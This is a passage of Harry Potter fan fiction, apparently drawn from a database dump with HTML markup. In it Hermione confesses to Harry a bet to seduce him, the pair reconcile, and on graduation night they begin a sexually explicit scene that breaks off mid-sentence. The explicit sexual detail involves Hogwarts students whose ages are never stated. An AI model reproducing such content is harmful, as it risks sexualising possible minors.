I&#8217;d better get back to my dormitory.&#8221;</p>\n\n<p>&#8220;Should we meet outside the Great Hall before breakfast?&#8221; Hermione asked.</p>\n\n<p>&#8220;I can meet you here.&#8221; Harry said, and then grinned. &#8220;I&#8217;m sure Ron will want to meet Blaise.&#8221; They both laughed and kissed again. &#8220;See you later.&#8221;</p>\n\n<p>&#8220;Bye.&#8221; Hermione said softly. Harry pulled his hand from hers and began to walk away. <i>&#8216;Tell him!!!&#8217;</i> her mind screamed. <i>&#8216;Tell him!&#8217;</i>&nbsp; &#8220;Harry?&#8221; she said before she could stop herself.</p>\n\n<p>&#8220;Yeah?&#8221; he asked, turning back around.</p>\n\n<p>&#8220;I&#8230; need to tell you something.&#8221; Hermione twisted her hands together.</p>\n\n<p>&#8220;What?&#8221; Harry asked curiously. She had that scared, nervous look about her again, one that made a lump appear in his throat.</p>\n\n<p>&#8220;I um&#8230;&#8221; Hermione bit her lower lip. &#8220;I&#8217;m not sure how to say this without it sounding completely horrible&#8230;&#8221;</p>\n\n<p>&#8220;Just tell me.&#8221; Harry&#8217;s voice was soft.</p>\n\n<p>&#8220;Well&#8230;this was back in January, before we got to know one another. Blaise and I were talking one night&#8230;and we made a bet.&#8221;</p>\n\n<p>&#8220;A bet?&#8221; Harry asked. &#8220;What sort of bet?&#8221;</p>\n\n<p>Hermione swallowed nervously. &#8220;A bet&#8230; that I could seduce you before the end of the term.&#8221;</p>\n\n<p>A/N: You can say it. Evil! Mwahahahaha!!!!</p>\n\n<p>Please don&#8217;t forget to R/R!! Next chapter up as soon as we can get it written!</p> '),
	(78, 9, ' <p>Chapter 8</p>\n\n<p>A/N: So here, the two ebil! Authors are back to make the masses happy, with the dum dum dum&#8230;. outcome of the dreaded bet!</p>\n\n<p>I would do individual responses but it&#8217;s <st1:time minute="0" hour="2">2 am</st1:time> and I am BEAT! So thank you to EVERYONE who took the time to review, it&#8217;s very, very appreciated!</p>\n\n<p>Harry stared at her, his mouth agape. &#8220;Wh...why?&#8221; he finally managed to say.</p>\n\n<p>Hermione took a deep breath; she had expected Harry to grow angry. Trying to keep the quavering in her voice down, she began to explain. &#8220;I told you how long I&#8217;ve liked you, and in January, right after that time Blaise pushed me into you after breakfast, she&#8230; sort of tricked me into making the bet.&#8221; Hermione paused for a second. &#8220;I know it&#8217;s not an excuse.&#8221; She said quickly when Harry opened his mouth to say something. &#8220;But I don&#8217;t want to keep secrets from you either.&#8221;</p>\n\n<p>Harry was wordless as he took in what she said. &#8220;I&#8230;I don&#8217;t really know what to say.&#8221; He replied, still shocked.</p>\n\n<p>&#8220;You don&#8217;t have to say anything.&#8221; Her head was bowed now as she stepped back away from him. &#8220;I&#8217;ll understand if you don&#8217;t want anything to do with me. I&#8217;m just like all those other girls, aren&#8217;t <st1:place>I.</st1:place>&#8221; a few tears escaped her eyelids.</p>\n\n<p>&#8220;No you&#8217;re not.&#8221; Harry&#8217;s voice made her look up. &#8220;You are nothing like those girls.&#8221; He gently touched her cheek, brushing away a tear. &#8220;You and me&#8230;we&#8217;ll be all right. I just want to think about this.&#8221;</p>\n\n<p>Hermione stared up in his eyes. &#8220;We will?&#8221; she asked hopefully.</p>\n\n<p>&#8220;I promise.&#8221; He gave her a half smile while reaching down to squeeze her hand. Watching as she turned and went into her common room, his mind began to turn over what Hermione had told him.</p>\n\n<p>He wasn\'t angry. In fact, he found himself to be a bit flattered.&nbsp; &quot;I should be mad.&quot; Harry said to himself. &quot;But I\'m not.&#8221; He took a deep breath. &quot;I actually wouldn\'t mind... sleeping with her either.&quot; Surprised by his own thoughts on that, he twisted the sleeve of his robe around, a smile stretching across his lips. He couldn&#8217;t wait to see her tomorrow!</p>\n\n<p>Hermione pulled her white nightgown over her head and sighed. A part of her wished she had kept mum about the bet, but the logical part of her, the one that everyone saw, was glad she had done it.</p>\n\n<p>&#8220;I was right in telling him about it.&#8221; She told herself, as if fortifying her belief. Her hands shook slightly as she pulled her sheets down. Her traitorous mind began working against her, &#8216;What if he decides to break up with you?&#8217; and then &#8216;What if he says he hates you now?&#8217;</p>\n\n<p>&#8220;Shut up!&#8221; Hermione said crossly to herself. &#8220;He said that we&#8217;ll be all right.&#8221; Her mind was actually silent for once. &#8220;He promised.&#8221; She said softly as her eyes closed. Touching her lips with her index finger, she smiled sleepily. &#8220;He promised.&#8221; Hermione fell asleep that night happy, while she dreamed about kissing Harry on their first date.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;I&#8217;m really sorry Harry.&#8221; Ron Weasley was saying as the two boys wove their way through the passage of students heading towards the Great Hall. </p>\n\n<p>&#8220;For what?&#8221; Harry asked as they neared the Slytherin Common Room.</p>\n\n<p>&#8220;For asking out Hermione.&#8221; Ron looked contrite. &#8220;I didn&#8217;t know you liked her, but I should have guessed.&#8221;</p>\n\n<p>Harry waved his hand. &#8220;Don&#8217;t worry about it.&#8221;</p>\n\n<p>&#8220;Well I feel bad.&#8221; Ron continued as the two came to a stop by the entrance.</p>\n\n<p>&#8220;Ron it doesn&#8217;t matter.&#8221; Harry said. &#8220;I told you, Hermione and I worked everything out last night.&#8221; He grinned wickedly. &#8220;Besides, you and Blaise seemed to be having a good time in that closet yesterday.&#8221;</p>\n\n<p>Ron&#8217;s face turned as red as his hair. &#8220;You saw us?&#8221; he asked, clearly embarrassed. </p>\n\n<p>Harry snorted back his laughter. &#8220;You obviously didn&#8217;t see us.&#8221; He bent over laughing. Ron sniggered too, and both boys were nearly on the floor laughing when the Slytherin door opened.</p>\n\n<p>&#8220;I can&#8217;t believe you didn&#8217;t say anything!&#8221; Blaise was so embarrassed that her friend had walked in on her snogging Ron.</p>\n\n<p>&#8220;It was so funny though Blaise.&#8221; Hermione said. &#8220;And I&#8217;ve never seen you so embarrassed beFORE!!!&#8221; she tripped over a crack in the floor and went flying into something soft.</p>\n\n<p>&#8220;Ow.&#8221; Harry and Hermione both said at the same time.</p>\n\n<p>&#8220;Herms are you all right?&#8221; Blaise rushed over from where she was about to go to Ron. </p>\n\n<p>&#8220;Yes.&#8221; Hermione was now the embarrassed one. &#8220;Uh&#8230; morning&#8230;&#8221; she said to Harry, her face bright red.</p>\n\n<p>&#8220;Morning.&#8221; He held back a large grin. &#8220;All right there?&#8221;</p>\n\n<p>&#8220;Fine.&#8221; She muttered. Harry held out his hand, helping her to her feet. </p>\n\n<p>&#8220;From now on I won&#8217;t believe you if you say Blaise pushes you into people.&#8221; Harry joked softly. Hermione flushed an even deeper shade of red and Harry laughed.</p>\n\n<p>&#8220;I didn&#8217;t think I&#8217;d see you here.&#8221; She said as the four began walking down the corridor.</p>\n\n<p>&#8220;Why not?&#8221; Harry asked.</p>\n\n<p>&#8220;Well&#8230; after I told you about the bet last night&#8230;&#8221; Hermione said tentatively. &#8220;I thought you&#8217;d be angry.&#8221;</p>\n\n<p>Harry motioned to Blaise and Ron. &#8220;Go on ahead; we&#8217;ll meet you two in the Great Hall.&#8221; He said. Blaise, who had been filled in on the situation right before they had left the common room,&nbsp; looked back at them for a moment, acting as if she wanted to stay in support of her friend, but Hermione waved her on.&nbsp; Harry took her hand and pulled her into an empty classroom.</p>\n\n<p>&#8220;So you&#8217;re not mad?&#8221; Hermione asked softly.</p>\n\n<p>&#8220;I thought that I should be.&#8221; Harry replied and Hermione looked away. &#8220;But then I realised that I wasn&#8217;t mad, in fact, I felt flattered.&#8221;</p>\n\n<p>&#8220;Flattered?&#8221; she was confused.</p>\n\n<p>&#8220;Yeah.&#8221; Harry grinned down at her. &#8220;And think about it, now, we&#8217;re even. We&#8217;ve both done something dumb, haven&#8217;t we?&#8221; </p>\n\n<p>&#8220;What have you done that&#8217;s dumb?&#8221; Hermione asked, relieved and somewhat giddy that Harry wasn&#8217;t angry at her.</p>\n\n<p>&#8220;Well I said you looked trampy when in fact you didn&#8217;t.&#8221; Harry replied. &#8220;Although, maybe I should avoid you for a week to make it really even.&#8221; His eyes twinkled at her.</p>\n\n<p>&#8220;No I don&#8217;t think that will be necessary.&#8221; Hermione said. </p>\n\n<p>&#8220;Besides,&#8221; Harry continued. &#8220;In a sense, you already have sort of seduced me.&#8221; He leaned down and rested his forehead on hers.</p>\n\n<p>&#8220;I have not seduced you.&#8221; Hermione replied. </p>\n\n<p>&#8220;You made me fall in love with you.&#8221; Harry said. &#8220;That&#8217;s close enough.&#8221;</p>\n\n<p>They grinned at each other for a second or two, and then she completely lost it and threw herself in his embrace. &#8220;Harry&#8230;&#8221; she nearly started crying again but managed to hold her tears. &#8220;Harry I love you.&#8221;</p>\n\n<p>His arms wound tightly around her waist, holding her to him as close as possible. Harry closed his eyes as he took in her scent; her touch; the way she held him. &#8220;I love you too, Hermione.&#8221; He answered. His fingers tangled in her still straightened hair, and the next thing Harry knew her lips were pressed against his. He kissed her back, eagerly exploring her mouth. Hermione brought her hands up and cupped his face between her hands, keeping him from pulling away, not that he wanted to.</p>\n\n<p>&#8220;Come on,&#8221; Harry said some time later after they had caught their breath and straightened their clothing. &#8220;If we sneak down to the kitchens we can have breakfast together.&#8221; He held out his arm. &#8220;Just you and me?&#8221;</p>\n\n<p>Hermione grinned widely. &#8220;Why I&#8217;d love to!&#8221; she said happily, holding on to him as they headed down towards the kitchens for a private breakfast, just the two of them.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Over few months that followed, Harry and Hermione\'s relationship grew steadily. Before they knew it, their time at Hogwarts had drawn to a close and it was the last night in the castle for the 7th years. Dumbledore, at dinner, had announced that all graduating students were to come back into the Great Hall that evening for a ceremony. Blaise sat idly in her seat, watching as her fellow students filed into the room and sat down. The tables had all been cleared off, and rows of chairs covered the floor. She bit back a grin as she saw Hermione come in, her hand clasped tightly in Harry\'s. They were laughing about something, Blaise wasn\'t sure what. She stood up and waved them over.</p>\n\n<p>&quot;Hey guys. I saved you seats.&quot; she said.</p>\n\n<p>&quot;Thanks Blaise.&quot; Hermione grinned. They sat down, Harry immediately wrapping his arm about her shoulders. Hermione leaned in more so she was resting up against him; Harry kissed the side of her head then bent and whispered something in her ear. She giggled and turned to face him, and were immediately lost in their own little world.</p>\n\n<p>Blaise, still bored while she waited for Ron, watched them for a few moments. &quot;You two are like bloody newlyweds.&quot; she remarked.</p>\n\n<p>Both Harry and Hermione turned to her. &quot;Shut up Blaise.&quot; they said in unison.</p>\n\n<p>Her jaw fell open for a moment. &quot;You\'re even talking at the same time now?&quot; she rolled her eyes playfully. &quot;Why don\'t the two of you get a room and shag already.&quot;</p>\n\n<p>Both Harry and Hermione blushed. She rolled her eyes shaking her head, &quot;Honestly Blaise!&quot;&nbsp; She still couldn\'t help the redness of her cheeks as she thought about how sweet Harry had been, so patient and not pressing her to do more than she was ready for.&nbsp; It was those times that made her love him even more.</p>\n\n<p>Blaise was about to let another smart ass comment fly, when she heard Ron\'s voice. &quot;Ginny this is for 7th years ONLY!&quot;</p>\n\n<p>&quot;I can come with Draco if I want to!&quot; Ginny said.</p>\n\n<p>&quot;She sure did last night.&quot; Draco smirked. Ron looked sick at this comment.</p>\n\n<p>&quot;You\'re sick, Malfoy.&quot; he said. He caught sight of his girlfriend sitting by Harry and Hermione and scurried over. &quot;Blaise!&quot; he said happily.</p>\n\n<p>Blaise turned and regarded him. &quot;Ronald.&quot; she said, keeping her voice cool. It was certainly no secret that Ron and Blaise had one of the most tumultuous relationships ever at Hogwarts. She had confided in Hermione that she purposefully would bait Ron to make him mad, so that making up with him later would be more passionate.</p>\n\n<p>Ron sat down next to her. &quot;Come on, baby, you know you\'re not still mad at <st1:state><st1:place>me.</st1:place></st1:state>&quot; he took her hands and pulled her over so that she was almost sitting on his lap.</p>\n\n<p>&quot;Maybe I am.&quot; Blaise pouted and Ron gulped. &quot;I can\'t believe you said the Magpies were worse than the Cannons, I mean, they\'re just my favourite team and you insulted them.&quot;</p>\n\n<p>&quot;Oh well maybe I changed my mind. Your favourite team is mine.&quot; Ron said smoothly.</p>\n\n<p>&quot;Nice save.&quot; Blaise couldn\'t help but laugh as she looked at his wide pleading eyes. She allowed him to pull her over, so that she was now straddling him right there in the Great Hall.</p>\n\n<p>&quot;Oh now look who should get a room.&quot; Hermione said with a smirk.</p>\n\n<p>&quot;Shut up Hermione.&quot; Blaise and Ron said at the same time. Harry and Hermione started laughing as Blaise stuck her tongue out at them and then turned and jammed it in Ron\'s mouth.</p>\n\n<p>&quot;I have never seen a more disgusting sight in my life.&#8221; Ginny said, wrinkling her pert little nose.</p>\n\n<p>&quot;Oh yeah why don\'t you go look in the mirror.&quot; Hermione replied quietly, her tone laughing. Harry snorted and aimed a playful smirk at Draco. He knew exactly what was going on between Draco and Ginny, nothing more than the physical existed between the two of them. He was glad that his relationship with Hermione was everything he\'d ever wanted. With that in mind, he pulled her closer against him, wrapping his arms around her shoulders.</p>\n\n<p>Just as Harry was about to kiss her the doors opened roughly and banged against the wall and a shriek rose in the back of the great hall and everyone turned.</p>\n\n<p>Neville, who was completely in the buff was running around screaming like a wild man.&nbsp; Boy a lot had changed in his he was no longer the tubby boy in fact he had large rippling muscles, and boy was he well endowed. </p>\n\n<p>&quot;Oh my Gods is that Neville? Dear Hades he looks hot!!!!&quot; A brunette in the corner shouted. Several other female voices could be heard catcalling as Neville proudly ran naked as could be through the Great Hall.</p>\n\n<p>Harry fell back against his seat laughing, shy, quiet Neville certainly seemed to want to leave Hogwarts with a bang. Hermione couldn\'t blame Neville for wanting to do that, he had a lot to show off.&nbsp; He deserved to feel proud. Her mind began to wander, wondering what Harry would look like, running through the Great Hall like that. Heat crawled up her body as she imagined just that.</p>\n\n<p>Her face grew a bit more serious as she thought back on hers and Harry\'s relationship, how she wanted to make love to him, but hadn\'t yet. She imagined what he would feel like, what his hands would feel like as they touched her, caressed her.&nbsp; She could feel her face growing hotter with the mere thought of him touching her in the most delicate and erotic places on her person. </p>\n\n<p>Hermione lightly ran her fingernails across her neck as she thought about this. <i>\'Maybe I do want </i>to.\' she mused. <i>\'I really don\'t want to wait anymore for him.\'</i></p>\n\n<p>Her attention was brought back to present as Dumbledore clapped his hands. Neville, grinning proudly, grabbed a robe from Dean Thomas, who was chortling heartily. Dumbledore\'s eyes twinkled in amusement as he gazed down at the boy.</p>\n\n<p>Harry bit back his own laughter and looked over at Draco, who was also still sniggering. Ginny was looking over at Neville with a gleam in her eye, like he was a piece of meat for her to devour. Draco saw this and wrapped his arm around her.</p>\n\n<p>&nbsp;&quot;Longbottom has nothing on <st1:state><st1:place>me.</st1:place></st1:state>&quot; he said loud enough for their whole row to hear, and girls sitting in front of him swivelled around to look at Draco with the same look in their eyes. It was Ginny&#8217;s turn to glare and look jealous.</p>\n\n<p>&quot;Today is truly a celebration, as of this night you are full fledged witches and wizards.&quot; Dumbledore began, his voice filling the room. &quot;As we call your names, please proceed to the front of the Hall where you will receive your official parchments declaring your independence in the Wizarding World.&#8221;</p>\n\n<p>&quot;Blaise!&quot; Hermione kicked her friend in the shin. Blaise pulled her mouth from Ron\'s.</p>\n\n<p>&quot;OWW!&quot; Blaise nearly howled. &quot;What did you do that for?&quot; she asked. Hermione motioned with her head towards the front where Dumbledore was calling names.</p>\n\n<p>The ceremony passed by, somewhat boring and uneventful, especially after Neville\'s show. Dumbledore read down the names on his long list. &quot;Hermione Granger!&quot; he called out.</p>\n\n<p>When Hermione heard name being called she couldn\'t help the bounce in her step as she proceeded to Dumbledore.&nbsp; She also couldn\'t help the smug look upon her face as well.&nbsp;&nbsp; She had made it, she had cause to feel proud of her accomplishments.</p>\n\n<p>Dumbledore looked upon her kindly as she stepped up to the front. &quot;Miss Hermione Granger has been at the top of her classes all seven of her years here.&quot;</p>\n\n<p>Hermione had to keep from jumping up and down with her excitement as she accepted her parchment, from the sea of people came the sound of clapping hands. She turned to look, and there was Harry, standing up and applauding with the largest grin on his face. Blaise caught on and stood up as well, kicking Ron who followed suit.</p>\n\n<p>Harry was so proud of his girlfriend. He knew how hard she worked on her school assignments and it was being paid off right now. People were following his example and clapping as well, and soon enough, it seemed like the whole Great Hall was giving Hermione a standing ovation.</p>\n\n<p><st1:place>Flushing</st1:place> rosily, Hermione accepted her parchment, and after shaking Dumbledore\'s hand, marched back to her seat. Harry was still grinning at her as everyone sat back down.</p>\n\n<p>&quot;Congratulations, love.&quot; he said softly as Dumbledore resumed calling off names. </p>\n\n<p>&quot;Thanks for that, Harry.&quot; she replied. Leaning in, she gave him a quick kiss on the lips. &quot;We have to talk after the ceremony, okay?&quot;</p>\n\n<p>&#8220;Sure.&#8221; He said, moving his hand down to hers and giving it a quick squeeze.</p>\n\n<p>Harry also received quite an ovation when he went up to get his parchment, due to his fame of course, but Neville was by far the loudest recipient, however, with catcalls and wolf whistles following him the entire way.</p>\n\n<p>Once the ceremony passed, there was no formal party, but a swarm of girls pulled Hermione away from Harry. She looked apologetically at him, but smiled and talked politely. &quot;Hermione, when did you and Harry get together?&quot; One Hufflepuff asked, while a pretty Ravenclaw gushed, &quot;What\'s he like in bed?&quot; a collective silence went around the group as a wide eyed Hermione tried to answer.</p>\n\n<p>&quot;I...uh... I\'m afraid that\'s a private affair.&quot; she forced a smile onto her face.</p>\n\n<p>&quot;Ladies, will you excuse me.&quot; Harry broke in then and grinned charmingly at all them. He grabbed Hermione around the waist and whisked her away from the firing squad.</p>\n\n<p>&#8220;What was all that about?&#8221; Harry asked as he laced his fingers with hers.</p>\n\n<p>Hermione grinned mischievously, eyes sparkling. &#8220;They wanted to know how you were in bed.&#8221;</p>\n\n<p>&#8220;What?&#8221; Harry stopped dead in his tracks and turned to her, his jaw hanging slightly open. &#8220;What&#8230;what did you say?&#8221; he asked curiously.</p>\n\n<p>Hermione shrugged, adapting an innocent air. &#8220;I just told them the truth.&#8221; She fought to keep a smile from her face. &#8220;That you ravage my body nightly and that I&#8217;m pregnant.&#8221;</p>\n\n<p>&#8220;What?&#8221; Harry seemed to be dumbstruck. His jaw dropped even lower and Hermione bent over laughing.</p>\n\n<p>&#8220;Harry I&#8217;m just kidding!&#8221; she wiped at her eyes. &#8220;I had you going there!&#8221; </p>\n\n<p>&#8220;Ha ha Hermione.&#8221; Harry said sarcastically, but he was grinning. He pulled her into his arms with a growl as she giggled. &#8220;You think you&#8217;re so funny don&#8217;t you.&#8221;</p>\n\n<p>&#8220;Yes I do.&#8221; Hermione replied, turning around in his embrace. Winding her arms around his neck, she hugged him tightly against her. &#8220;But&#8230;I think I&#8217;d like to find out for real.&#8221;</p>\n\n<p>&#8220;What?&#8221; Harry asked for the third time in about two minutes. He pulled away and looked at her in shock. &#8220;Hermione&#8230; I&#8230; I don&#8217;t want you to feel pressured&#8230;&#8221;</p>\n\n<p>&#8220;I don&#8217;t.&#8221; she replied, looking up into his eyes. &#8220;I want to Harry. I love you and I want to be with you. In every way possible.&#8221;</p>\n\n<p>&quot;Well... if you\'re sure...&quot; Harry said. &quot;When uh... when were you planning on this?&quot; he asked, a lump rising in his throat. So far in their&#8230; explorations&#8230; of each other, Harry had been the knowledgeable one. But he&#8217;d not yet gone all the way, and as much as he wanted to with Hermione, he was nervous.</p>\n\n<p>&quot;Well...&quot; Hermione said, suddenly feeling a bit shy, &quot;Blaise said that I can use her room...if you and I wanted privacy.&quot; she looked hesitantly up at Harry.</p>\n\n<p>Harry looked down at her. &quot;So... tonight then?&quot; he asked, trying to get rid of the dry feeling in his mouth. She smiled and he nodded, gulping. &#8220;All right then.&#8221; Drawing Hermione back to him, he hugged her fiercely. Joining hands, they went back to find their friends.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Hermione could feel her palm grow sweaty in Harry\'s hand as she led him up to Blaise\'s room. Nervousness was coming over her in bounds every step she took. She wasn\'t regretting her decision, but she did hope that she would be good for Harry.</p>\n\n<p>Harry sucked in a breath, he didn\'t know what to think about this, he loved Hermione with all his heart; she was the second half of him.&nbsp; But what if he just couldn\'t please her, he had never done anything like this before he just hoped she wasn\'t too disappointed.&nbsp; </p>\n\n<p>Opening the door, she let go of his hand and walked into the middle of the room, not wanting him to feel her trembling. Blaise\'s room was dark, so she went over and lit the candles on the bedside table.</p>\n\n<p>He lifted a shaky hand up into his hair, he had never felt more nervous in his entire life.&nbsp; Facing Voldemort was nothing compared to this.&nbsp; He smiled at her, hopefully not as shaky as he felt.</p>\n\n<p>&quot;I uh...I know Blaise has something for... protection.&quot; Hermione said, opening a few drawers. &quot;It\'s around here somewhere...aha!&quot; she pulled out a funny looking root. &quot;We each need to have a piece of this.&quot;</p>\n\n<p>&quot;And just what is that?&quot; Harry pointed to it.</p>\n\n<p>Hermione smiled. &quot;It\'s called Orgus Root. It keeps us from having any... consequences of our actions tonight nine months down the line.&quot; she said.</p>\n\n<p>Harry nodded nervous but not as nervous as he had been, he seemed to have gotten a hold on his emotions. &quot;All right, lets have it then.&quot;</p>\n\n<p>Hermione pulled out a tiny pocket knife from the bag and sliced off a bit of the root for each of them. &quot;It\'s a little bitter.&quot; she said, handing him his piece. She popped it into her mouth, chewing quickly, and then making a face. &quot;Blech.&quot;</p>\n\n<p>Harry took some and made a face which looked like a he had just gotten hit in the stomach with a bludger. &quot;Ugh this stuff is awful, just awful.&quot;&nbsp; He looked her in the eyes, &quot;I think I need something sweet to rid me of this horrid taste.&quot;</p>\n\n<p>Hermione\'s eyes widened as she swallowed the rest of the root. &quot;Like what?&quot; she asked.</p>\n\n<p>Harry smirked, &quot;Like this.&quot; He quickly wrapped his arms around her, pulling her up against him.&nbsp; &quot;I wager your taste is the sweetest I could hope for.&quot;</p>\n\n<p>Hermione felt some, if not most of her nervousness ebb away as Harry bent his head down and kissed her gently on the mouth. Her hands went up and around his neck, her fingers playing in the hair on his nape. She let out a soft sigh into his mouth as he kissed her harder.</p>\n\n<p>Harry\'s arms tightened around her as he gently touched the tip of his tongue against her lips, wanting more. She opened her mouth to him, letting his senses and touch overwhelm her. Harry&#8217;s hands moved from her waist to her robe, unclasping it and letting it fall on the floor. Hermione did the same for him, kicking the black cloth back towards the dresser. Harry wrapped his arms back around her, and started to slowly move them towards the large bed against the wall. He picked her up as they came to the edge, not breaking away from her mouth. </p>\n\n<p>Depositing her on the soft cushiony mattress, he laid himself down next to her. Threading his fingers through her long locks with one hand, he wrapped his other around her waist, keeping her body tightly against his. He rolled over her a little, moving his body on top of hers.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; he said softly, pulling his mouth from hers for a much needed breath. &#8220;I uh&#8230; I&#8217;ve never done this before.&#8221;</p>\n\n<p>&#8220;You haven&#8217;t?&#8221; she asked in surprise. Sex was something that had come up a few times, but neither one had discussed any past experiences or the like. She had just assumed that Harry had done it before.</p>\n\n<p>&#8220;No.&#8221; Harry moved back and stared up at the canopy over Blaise&#8217;s bed. &#8220;I&#8217;ve been waiting for the right person.&#8221; He turned slightly and gave her that smile she loved.</p>\n\n<p>Hermione nearly melted when he said that. &#8220;So I&#8217;m the right person then?&#8221; she asked.</p>\n\n<p>&#8220;I should hope so.&#8221; Harry said, laughing. &#8220;Otherwise I don&#8217;t know what I&#8217;m doing here.&#8221;</p>\n\n<p>Hermione felt stupid for a second then began to laugh as well. &#8220;Sorry.&#8221; She said between giggles. </p>\n\n<p>&#8220;It&#8217;s all right.&#8221; Harry grinned. The apprehension between them vanished as they stared at one another. He propped himself up on his arm and looked down at her, tracing his fingers gently over her cheek. Hermione pulled him down by grabbing the front of his jumper, and their lips met in another fiery kiss. She buried her fingers in his dark strands, letting them slip through as she stroked his scalp with her nails. Harry moaned into her mouth, pressing his lips harder against hers. Hermione took one hand out of his hair and gently pulled his glasses off. </p>\n\n<p>She broke away from him for a moment to sit up and turn to put them on the bedside table. She turned back and gazed at his eyes, when they weren&#8217;t hiding behind the glasses they were absolutely glowing.</p>\n\n<p>Harry gazed at her, a slight smile playing across his lips. He could see her almost perfectly, so close to him. His poor eyesight created an aura around her, which made her seemingly glow. Bringing his hand up, he pushed her hair over her shoulder and pressed his lips to her neck, making a trail up the side. She tilted her head back, and Harry kissed her throat, loving the feel of her soft skin on his lips. Hermione let out a throaty moan as he suckled lightly, moving slowly back down the other side of her neck.</p>\n\n<p>Harry moved his hands down to the hem of her jumper, wanting to get the clothing out of his way. Regretfully breaking his mouth away from her body, he pulled back and Hermione sat up as well as he drew the jumper over her head. Her hair fell and bounced over her shoulders as he tossed it across the room. Harry&#8217;s breath came quicker as he looked at how her white shirt fit perfectly on her, as he reached forward and then began to slowly unbutton it, as if prolonging what was going to happen between them. Working his way down, he gently drew the shirt over her shoulders, then tossing it in the direction of her jumper. </p>\n\n<p>He let his eyes wander over Hermione&#8217;s figure as she took her turn to reach out and deprive him of his jumper and shirt as well. Dropping Harry&#8217;s clothes off the side of the bed, she brought her hands back to him and ran her nails lightly up and down his torso, enjoying how his muscles retracted tightly at her mere touch.</p>\n\n<p>&#8220;You&#8217;re having fun with this aren&#8217;t you?&#8221; Harry said, his breath becoming shallower.</p>\n\n<p>&#8220;Yes I am.&#8221; Hermione said, boldly leaning forward and placing her lips on his neck. Moving up, she could feel Harry&#8217;s arms go tightly around her waist, pushing her back down against the pillows. His mouth sought out hers; he was kissing her with an urgency that surprised both of them. He moved his hands up over her shoulders, hooking his thumbs under the straps of her bra.</p>\n\n<p>Hermione was nervous again as he slowly pulled the straps down her arms. She had not yet been completely topless with Harry, and he could sense her hesitation.</p>\n\n<p>&#8220;We don&#8217;t have to do this.&#8221; Harry said softly, stopping his hands. &#8220;I&#8217;ll understand if it&#8217;s too much at one time.&#8221;</p>\n\n<p>Hermione opened her eyes and looked straight up into his. &#8220;No Harry.&#8221; She said after a moment. &#8220;I want to. I just&#8230;&#8221; she paused again. &#8220;I just want&#8230;&#8221;</p>\n\n<p>&#8220;You are good enough, Hermione.&#8221; Harry said, giving her a look. &#8220;You know that. There&#8217;s no one else for me.&#8221;</p>\n\n<p>A relieved smile broke across her lips. Without another word, she curved her hand around the back of his neck and brought his mouth back to hers. Hermione took his hands and moved them back to the straps that still hung halfway down her arms. Carefully, gently, he moved his fingers to the front of her bra, where the clasp was. </p>\n\n<p>Before she could even breathe in, Harry had effortlessly snapped it open, yet he didn&#8217;t pull his lips away from hers right away. He slipped the bra from one arm, then the other, and dropped it off the side of the bed. He could feel her breath quicken as he moved his mouth down her neck, flicking his tongue against her skin, loving the way she tasted. </p>\n\n<p>Hermione gasped aloud as Harry took her breast into his mouth, his tongue playfully circling her hardened nipple. Taking a chance, she moved her hand which was shaking a bit slowly down over his stomach.&nbsp; Harry could tell she was feeling very unsure as he could feel her hand press against the area above his manhood.&nbsp; He could feel her hand through the fabric of his pants; it was torture that she was taking so long.&nbsp; Harry didn\'t want to frighten her so gently his hand covered over hers and he moved her hand to where he wanted it.</p>\n\n<p>&#8220;Harry!&#8221; she exclaimed quietly. Hermione started to move her hand away in shyness but he kept it there.</p>\n\n<p>&#8220;Don&#8217;t.&#8221; his voice actually sounded raspy. &#8220;That&#8230;that feels good.&#8221; Hermione was astonished to see that his eyes had darkened to a deep forest green in his desire. His desire for <i>her</i>. </p>\n\n<p>&#8220;Okay.&#8221; She whispered back. He pressed his mouth against hers again, his hands cupping her breasts, his thumbs teasing the tips. Hermione felt a bit bolder as his tongue began to thrust against hers, and she moved her hand a bit against him. Harry moaned loudly, feeling himself respond even more. She pushed herself up into his hand as she began to move her fingers lightly up and down his length.</p>\n\n<p>Harry made a strangled sound in his throat, a gasp or a moan, Hermione couldn&#8217;t tell. He pulled his mouth away from hers and buried his face in her shoulder. &#8220;Do you know what you do to me?&#8221; he asked, nibbling gently on her ear.</p>\n\n<p>Hermione wanted to answer, but found herself breathless as Harry covered her mouth again with his. Their tongues clashed and duelled as their bodies became hot in their passion.</p>\n\n<p>&#8220;Harry&#8230;I want you, please!&#8221; Hermione pulled her mouth away from him.</p>\n\n<p>They looked at one another, and then Hermione reached down and unbuttoned his trousers, her body filled with such want and desire she thought she would burst. He helped her pull his trousers down and she stifled a giggle at his boxers.</p>\n\n<p>&#8220;They were my last clean pair!&#8221; Harry said in his defence.</p>\n\n<p>&#8220;It&#8217;s a good thing I happen to like guys in boxers with smiley faced hearts on them.&#8221; Hermione teased. &#8220;It&#8217;s sexy.&#8221; She reached out and rubbed the fabric. &#8220;Now, if they were silk, I&#8217;d be a little scared right now.&#8221;</p>\n\n<p>&#8220;I&#8217;m a 100% cotton man, and you&#8217;re right, I&#8217;m damn sexy.&#8221; Harry grinned.</p>\n\n<p>&#8220;No, I said your boxers are sexy.&#8221; Hermione teased.</p>\n\n<p>&#8220;Can my boxers snog you senseless?&#8221; Harry smirked as she narrowed her eyes at him. &#8220;Didn&#8217;t think so.&#8221;</p>\n\n<p>&#8220;You&#8217;re too cocky for your own 